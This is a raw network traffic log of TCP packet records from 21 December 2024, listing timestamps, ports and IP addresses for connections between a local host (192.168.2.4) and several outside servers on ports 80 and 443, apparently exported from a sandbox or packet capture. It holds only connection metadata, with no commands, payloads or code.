Dec 21, 2024 10:15:36.337987900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.338831902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.338846922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.338958025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.338958025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.339637041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.339824915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.339885950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.340353966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.340708971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.341200113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.341331959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.341355085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.342104912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.342293978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.342350960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.342931986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.342948914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.343271017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.343688011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.344069004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.344278097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.344491005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.344578981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.344651937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.345359087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.345431089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.346200943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.346218109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.346440077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.346963882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.347007036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.347305059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.347331047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.347824097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.347882986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.347893000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.348639965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.348818064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.348875046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.349497080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.349669933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.349705935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.350366116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.350380898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.350440025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.351080894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.351187944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.351949930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.352001905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.352009058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.352756023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.352940083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.352972031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.353662014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.353677034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.353713036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.353713036 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.354443073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.354562998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.355268002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.355283976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.355335951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.355335951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.356082916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.356100082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.356843948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.357064009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.357093096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.357666016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.357805014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.357855082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.358494043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.358712912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.359380007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.359503984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.359524965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.360179901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.360292912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.360330105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.361010075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.361069918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.361284018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.361788034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.361908913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.361980915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.362631083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.362766027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.362816095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.363449097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.363640070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.363693953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.364274025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.364335060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.365058899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.365118027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.365161896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.365561008 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.366074085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.366090059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.369004965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.517925024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.517946959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.518066883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.518070936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.518070936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.518085003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.518105030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.518148899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.518239975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.518385887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.518959045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.519059896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.519309044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.519331932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.519433022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.520076036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.520149946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.520220041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.520376921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.520888090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.520905972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.520942926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.520987034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.521755934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.521826982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.521892071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.522154093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.522497892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.522555113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.522641897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.522689104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.523370981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.523387909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.523474932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.523474932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.524158001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.524220943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.524420023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.525005102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.525156021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.525206089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.525877953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.525896072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.526134968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.526710987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.526736975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.526838064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.527487040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.527554989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.527638912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.527842045 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.528228998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.528296947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.528376102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.528558969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.529144049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.529196978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.529510975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.529582977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.530071020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.530163050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.530220032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.530275106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.530793905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.530811071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.530843019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.530877113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.531636000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.531790018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.532326937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.532377005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.532469988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.533216000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.533231974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.533307076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.533307076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.533307076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.534085035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.534230947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.534281015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.534915924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.534930944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.535018921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.535793066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.535809994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.535852909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.535904884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.536673069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.536696911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.536746979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.536746979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.537281036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.537436008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.537575006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.538208961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.538279057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.538372040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.538557053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.539138079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.539290905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.539304972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.539628983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.539825916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.540133953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.540236950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.540694952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.540713072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.541440010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.541603088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.541616917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.542260885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.542289019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.542467117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.542531967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.543055058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.543116093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.543200016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.543330908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.543963909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.543982983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.544053078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.544053078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.544780970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.544826031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.544913054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.545003891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.545607090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.545753956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.545766115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.546447039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.546601057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.546751022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.547349930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.547367096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.548077106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.548171043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.548212051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.548429012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.548955917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.548974037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.549002886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.549083948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.549776077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.549932957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.549952030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.550081015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.550477028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.550682068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.550893068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.551461935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.551479101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.551522970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.551573038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.552294016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.552310944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.552418947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.553105116 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.553160906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.553278923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.553466082 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:36.553934097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.554090023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.554696083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:36.554749012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:37.144403934 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.144489050 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.152339935 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.152358055 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.152821064 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.152877092 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.153471947 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.195327044 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.837960958 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.838031054 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.838042974 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.838088989 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.840017080 CET	49829	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.840032101 CET	443	49829	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.842256069 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.842304945 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:37.842387915 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.842668056 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:37.842683077 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:39.120760918 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:39.121068001 CET	49837	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:39.240626097 CET	80	49837	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:39.240679979 CET	80	49806	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:39.240768909 CET	49837	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:39.240786076 CET	49806	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:39.247631073 CET	49837	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:39.249372959 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:39.249439955 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:39.249842882 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:39.249850988 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:39.251476049 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:39.251481056 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:39.367088079 CET	80	49837	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:40.009027004 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:40.009063005 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:40.009263039 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:40.020833969 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:40.020848036 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:40.145304918 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.145376921 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.145386934 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.145463943 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.145484924 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.145607948 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.145653009 CET	49835	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.145664930 CET	443	49835	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.146910906 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.147013903 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.147094965 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.147310972 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:40.147351980 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:40.586920977 CET	80	49837	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:40.589782000 CET	49837	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:40.590966940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:40.591201067 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:40.710990906 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:40.711029053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:40.711117983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:40.711133957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:40.711358070 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:40.831015110 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:41.549407005 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:41.549510956 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:41.558737993 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:41.558759928 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:41.586400032 CET	49843	443	192.168.2.4	94.130.188.57
Dec 21, 2024 10:15:41.586406946 CET	443	49843	94.130.188.57	192.168.2.4
Dec 21, 2024 10:15:41.757312059 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:41.757821083 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:41.757833004 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:41.758873940 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:41.758941889 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:41.761133909 CET	49842	443	192.168.2.4	34.226.108.155
Dec 21, 2024 10:15:41.761199951 CET	443	49842	34.226.108.155	192.168.2.4
Dec 21, 2024 10:15:41.773369074 CET	49842	443	192.168.2.4	34.226.108.155
